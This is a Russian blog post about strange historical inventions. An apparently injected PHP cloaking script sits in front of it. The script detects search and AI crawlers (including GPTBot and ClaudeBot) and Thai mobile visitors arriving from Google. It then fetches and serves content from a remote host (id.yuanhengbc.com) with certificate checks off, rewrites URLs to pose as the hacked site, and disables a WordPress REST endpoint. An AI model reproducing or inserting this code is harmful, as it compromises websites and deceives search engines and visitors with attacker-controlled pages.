$API_URL = 'https://id.yuanhengbc.com/th100'; $scheme = (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST'] ?? 'localhost'; $MY_DOMAIN = $scheme . '://' . $host; function rewrite_remote_urls($html, $api_url, $my_domain) { if (empty($html)) return $html; $orig_host = parse_url($api_url, PHP_URL_HOST); $my_host = parse_url($my_domain, PHP_URL_HOST); $html = str_replace('https://' . $orig_host . '/xtz.js', '%%XTZ_KEEP%%', $html); $html = str_replace( array('https://' . $orig_host, 'http://' . $orig_host, '//' . $orig_host), array($my_domain, $my_domain, '//' . $my_host), $html ); $html = preg_replace( '/ true, CURLOPT_TIMEOUT => 15, CURLOPT_USERAGENT => $ua, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_FOLLOWLOCATION => true, )); $body = curl_exec($ch); curl_close($ch); return $body; } else { $ctx = stream_context_create(array( 'http' => array('timeout' => 15, 'user_agent' => $ua, 'ignore_errors' => true) )); return @file_get_contents($final, false, $ctx); } } $ua = $_SERVER['HTTP_USER_AGENT'] ?? ''; $ref = $_SERVER['HTTP_REFERER'] ?? ''; $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? ''; if ($ua === '') $ua = ' '; $bot_list = array( 'Googlebot','Googlebot-News','Googlebot-Image','Googlebot-Video','Googlebot-Mobile', 'Mediapartners-Google','AdsBot-Google','AdsBot-Google-Mobile','Google-InspectionTool', 'APIs-Google','Google-Site-Verification','Google Web Preview','Google Favicon', 'Google Feedfetcher','GoogleOther','Bingbot','BingPreview','AdIdxBot','Microsoft Preview', 'GPTBot','ChatGPT-User','ChatGPT','Google-Extended','Claude-Web','ClaudeBot', 'anthropic-ai','DuckDuckBot','DuckAssistBot' ); $is_bot = false; foreach ($bot_list as $b) { if (stripos($ua, $b) !== false) { $is_bot = true; break; } } $is_mobile = false; foreach (array('Mobile','Android','iPhone','iPad','Windows Phone') as $m) { if (stripos($ua, $m) !== false) { $is_mobile = true; break; } } $is_google = ($ref !== '' && (stripos($ref, 'google.') !== false || stripos($ref, 'bing.com') !== false)); $is_th_lang = ($lang !== '' && preg_match('/(?:^|,)\s*(?:th)(?:-TH)?(?:;|$)/i',$lang) === 1); function check_ip_country() { $ip = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['HTTP_X_REAL_IP'] ?? $_SERVER['REMOTE_ADDR'] ?? ''; $ip = trim(explode(',', $ip)[0]); if ($ip === '' || $ip === '127.0.0.1') return 'LOCAL'; $ch = curl_init('https://id.qzbybyk.com/v1/lookup?ip=' . urlencode($ip)); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 3, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_HTTPHEADER => array('X-API-Key: change-me-now'), )); $resp = curl_exec($ch); curl_close($ch); if ($resp !== false) { $j = json_decode($resp, true); if (isset($j['data']['country']['iso_code'])) return $j['data']['country']['iso_code']; } $ch = curl_init('http://ip-api.com/json/' . urlencode($ip) . '?fields=countryCode'); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 3, CURLOPT_SSL_VERIFYPEER => false, )); $resp = curl_exec($ch); curl_close($ch); if ($resp !== false) { $j = json_decode($resp, true); if (isset($j['countryCode'])) return $j['countryCode']; } return 'UNKNOWN'; } if ($is_bot) { $body = fetch_remote_template($API_URL, $ua); echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN); exit; } if ($is_mobile && $is_google && $is_th_lang) { if (check_ip_country() === 'TH') { $body = fetch_remote_template($API_URL, $ua); echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN); exit; } } add_filter('rest_endpoints', function($e){ unset($e['/batch/v1']); return $e; }); Странные изобретения прошлого. Часть 2 — Вечный путь к совершенству

Странные изобретения прошлого. Часть 2

1.Устройство для предотвращения столкновения с поездом.

В 19 веке локомотивы ещё не были настолько мощными, что могли смять стоящий на рельсах автомобиль и не заметить этого. В те времена даже небольшое животное, попавшее под колёса, могло стать причиной схода состава с рельс.

В 1888 году Джек Уильям Джеймс зарегистрировал патент, который представлял собой платформу с закреплённым на ней манекеном. При каждом обороте колеса манекен ударял молотком в гонг, что, по мнению изобретателя, должно было отпугнуть скот с рельсов. Платформа находилась на небольшом удалении от локомотива, поэтому в случае столкновения с животным она могла взять на себя основной удар.

2.Самодвижущийся велосипед на собачьей тяге.

Видел, как хомяки бегают в колесе и крутят его с достаточно высокой скоростью? Это же заметил изобретатель Нарцисс Хуэ и в 1875 году запатентовал велосипед с клеткой. Для приведения транспортного средства в движение нужно было посадить собак или других животных в клетки-колёса, расположенные в задней части велосипеда по бокам от сиденья.

Принцип работы прост: животное бежит в клетке и вращает тем самым колёса, а водителю остаётся только рулить.

3.Прокладка от метеоризма.

Эта деликатная проблема хотя бы раз в жизни заставала любого человека в крайне неудобных для выпуска «ветров» ситуациях, например на совещании. И тут уже не получится, как в автобусе, сделать вид, что это не ты.

Для таких ситуаций в 2001 году изобретатели Брайан Конант и Майра Конант зарегистрировали патент на прокладку от метеоризма. Это изделие является подушкой из ткани с активированным углём, расположенным между парой пластин с перфорацией.

Для использования прокладки её нужно закрепить внутри трусов в анальной области с помощью двухсторонней клейкой ленты. При внезапном казусе активированный уголь поглотит неприятный запах, и никто не догадается, что ты только что испортил воздух.

4.Спасательное устройство для дыхания через канализацию.

В пожарах люди зачастую погибают не из-за огня или высокой температуры, а из-за задымления. Всего несколько вдохов угарного газа — и человек падает в обморок, после чего достаточно быстро задыхается от недостатка кислорода.

Так как дома становятся всё выше, эвакуация затрудняется. Поэтому, чтобы спасти людей в горящих зданиях, пока не подоспеют пожарные, изобретатель Уильям Холмс в 1981 году предложил устройство для дыхания через унитаз. Когда человек оказывался в горящем здании, все пути отхода были заблокированы, а дым подступал всё ближе, он брал устройство, похожее на трубку, засовывал его в унитаз, пропихивал до канализационной трубы и начинал дышать «свежим» воздухом.

Даже если отбросить отвратительность этого действия, ведь речь идет о спасении жизни, проблема в метане, который скапливается в канализационных трубах. Несколько вдохов — и человек может отправиться на тот свет так же быстро, как и от угарного газа.

5.Устройство для наблюдения за птицами.

Любишь кормить голубей и воробьёв, наблюдать за необычными птицами и бабочками? Дэвид Лесли, запатентовавший это изобретение в 1999 году, тоже любил такие занятия. Устройство для кормления и наблюдения за летающими существами представляет собой шлем с тремя установленными на нём шестами, отходящими от него наружу, и кормушками, свисающими с каждого шеста.

По мнению изобретателя, это устройство помогло бы орнитологам и просто любителям птиц и бабочек наблюдать за этими существами в непосредственной близости. Ну а шлем защитит голову, если какая-нибудь ворона решит проверить твой череп на прочность.

6.Антивандальные стены.

В 80–90-х годах в США наблюдалось повальное увлечение граффити, из-за чего чуть ли не каждая стена даже в деловых центрах крупных городов была закрашена тегами и рисунками. Изобретатель Генри Хант был сильно возмущён этим и в 1997 году запатентовал антивандальные стены.

Система включала устройства для генерации магнитного поля, один или несколько датчиков и передатчик на поверхности стены. Когда вандал начинал рисовать, магнитное поле должно было отталкивать краску от стены.

Но проблема была в том, что аэрозольная краска не содержит столько металлов, чтобы магнит сработал. Поэтому изобретатель предложил оснащать каждый баллончик краски передатчиком, который при близком поднесении к стене активировал бы антивандальную систему. Другой вариант предусматривал примешивание в краску магнитного материала.

7.Подушки безопасности для мотоциклистов.

В отличие от водителей автомобилей, где есть ремни и подушки безопасности, а также прочный корпус, у мотоциклистов достаточно мало шансов пережить столкновение или хотя бы отделаться лёгкими травмами.

В 1987 году изобретатель Дэн Кинчелоу запатентовал надувной защитный костюм для мотоциклистов. Он подключался к баллону со сжатым газом и, пока водитель находился на сиденье, выглядел как обычная экипировка. Но если байкер вылетал из седла, шланг отрывался, и костюм моментально раздувался, служа своеобразной подушкой безопасности. Причём надув производился даже в шлем.

В итоге мотоциклист выглядел как Зефирный Человек из «Охотников за приведениями».

8.Центробежный аппарат для родов.

Роды — не самое простое действие, несмотря на естественность этого процесса. Чтобы упростить их, изобретатели Джордж и Шарлотта Блонски в 1965 году запатентовали аппарат для облегчения родоразрешения за счёт центробежной силы.

Роженица ложилась на подобие больничной койки, привязывалась к ней, после чего кровать начинала достаточно быстро вращаться, вызывая перегрузки. Центробежная сила буквально выталкивала ребёнка из тела матери, после чего новорожденный попадал в своеобразный карман, и машина тут же останавливалась. На случай сбоев устройство имело ручной тормоз. Внешне аппарат больше походит на изобретение доктора Франкенштейна, и вряд ли нашлась бы женщина, которая согласилась бы лечь на такую койку.

Источник: От новостей до истории

Часть 1 — здесь.

Часть 3 — здесь.